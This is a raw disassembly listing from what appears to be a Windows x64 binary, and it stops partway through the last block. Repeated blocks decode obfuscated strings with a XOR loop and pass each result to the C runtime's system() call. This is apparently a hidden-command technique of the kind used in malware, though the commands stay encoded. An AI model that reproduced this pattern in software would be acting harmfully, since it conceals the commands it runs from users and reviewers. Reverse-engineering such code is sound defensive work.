xor eax, eax
lea rdx, [rbp + 0x7760]
lea rcx, [rbp + 0x60]
mov byte [rbp + 0x60], al
call fcn.14006d0d0
mov r10, rax
cmp byte [rax + 0x80], 0
je 0x140052f64
mov r8d, esi
cmp r15d, 2
jl 0x140052f29
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x80
jl 0x140052e30
cmp r8d, 0x81
jge 0x140052f64
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x81
jl 0x140052f30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x8119]
lea rcx, [rbp + 0x61]
mov byte [rbp + 0x61], al
call fcn.14006d140
mov r10, rax
cmp byte [rax + 0x93], 0
je 0x1400530e4
mov r8d, esi
cmp r15d, 2
jl 0x1400530a9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x140052fb0
cmp r8d, 0x94
jge 0x1400530e4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x94
jl 0x1400530b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x7966]
lea rcx, [rbp + 0x62]
mov byte [rbp + 0x62], al
call fcn.14006d1c0
mov r10, rax
cmp byte [rax + 0x83], 0
je 0x140053264
mov r8d, esi
cmp r15d, 2
jl 0x140053229
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x80
jl 0x140053130
cmp r8d, 0x84
jge 0x140053264
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x84
jl 0x140053230
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x73dd]
lea rcx, [rbp + 0x63]
mov byte [rbp + 0x63], al
call fcn.14006d230
mov r10, rax
cmp byte [rax + 0x7c], 0
je 0x1400533e1
mov r8d, esi
cmp r15d, 2
jl 0x1400533a3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x78
jl 0x1400532b0
cmp r8d, 0x7d
jge 0x1400533e1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x7d
jl 0x1400533b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x6e9a]
lea rcx, [rbp + 0x64]
mov byte [rbp + 0x64], al
call fcn.14006d2a0
mov r10, rax
cmp byte [rax + 0x78], 0
je 0x140053561
mov r8d, esi
cmp r15d, 2
jl 0x140053523
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x78
jl 0x140053430
cmp r8d, 0x79
jge 0x140053561
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x79
jl 0x140053530
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x7a70]
lea rcx, [rbp + 0x65]
mov byte [rbp + 0x65], al
call fcn.14006d310
mov r10, rax
cmp byte [rax + 0x87], 0
je 0x1400536dd
mov r8d, esi
cmp r15d, 2
jl 0x1400536a0
movdqa xmmword [rbp + 0x10], xmm13
mov edx, esi
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x88
jl 0x1400535b0
jmp 0x1400536dd
mov r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x88
jl 0x1400536b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x7f60]
lea rcx, [rbp + 0x66]
mov byte [rbp + 0x66], al
call fcn.14006d380
mov r10, rax
cmp byte [rax + 0x92], 0
je 0x140053864
mov r8d, esi
cmp r15d, 2
jl 0x140053829
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x140053730
cmp r8d, 0x93
jge 0x140053864
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x93
jl 0x140053830
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x8bb5]
lea rcx, [rbp + 0x67]
mov byte [rbp + 0x67], al
call fcn.14006d410
mov r10, rax
cmp byte [rax + 0x99], 0
je 0x1400539e4
mov r8d, esi
cmp r15d, 2
jl 0x1400539a9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x98
jl 0x1400538b0
cmp r8d, 0x9a
jge 0x1400539e4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x9a
jl 0x1400539b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0xa8c0]
lea rcx, [rbp + 0x68]
mov byte [rbp + 0x68], al
call fcn.14006d4a0
mov r10, rax
cmp byte [rax + 0xc1], 0
je 0x140053b64
mov r8d, esi
cmp r15d, 2
jl 0x140053b29
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0xc0
jl 0x140053a30
cmp r8d, 0xc2
jge 0x140053b64
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0xc2
jl 0x140053b30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0xa982]
lea rcx, [rbp + 0x69]
mov byte [rbp + 0x69], al
call fcn.14006d530
mov r10, rax
cmp byte [rax + 0xc1], 0
je 0x140053ce4
mov r8d, esi
cmp r15d, 2
jl 0x140053ca9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0xc0
jl 0x140053bb0
cmp r8d, 0xc2
jge 0x140053ce4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0xc2
jl 0x140053cb0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0xa505]
lea rcx, [rbp + 0x6a]
mov byte [rbp + 0x6a], al
call fcn.14006d5c0
mov r10, rax
cmp byte [rax + 0xb7], 0
je 0x140053e5d
mov r8d, esi
cmp r15d, 2
jl 0x140053e20
movdqa xmmword [rbp + 0x10], xmm13
mov edx, esi
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0xb8
jl 0x140053d30
jmp 0x140053e5d
mov r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0xb8
jl 0x140053e30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0xa5bd]
lea rcx, [rbp + 0x6b]
mov byte [rbp + 0x6b], al
call fcn.14006d650
mov r10, rax
cmp byte [rax + 0xb7], 0
je 0x140053fdd
mov r8d, esi
cmp r15d, 2
jl 0x140053fa0
movdqa xmmword [rbp + 0x10], xmm13
mov edx, esi
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0xb8
jl 0x140053eb0
jmp 0x140053fdd
mov r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0xb8
jl 0x140053fb0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x8822]
lea rcx, [rbp + 0x6c]
mov byte [rbp + 0x6c], al
call fcn.14006d6e0
mov r10, rax
cmp byte [rax + 0x97], 0
je 0x14005415d
mov r8d, esi
cmp r15d, 2
jl 0x140054120
movdqa xmmword [rbp + 0x10], xmm13
mov edx, esi
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
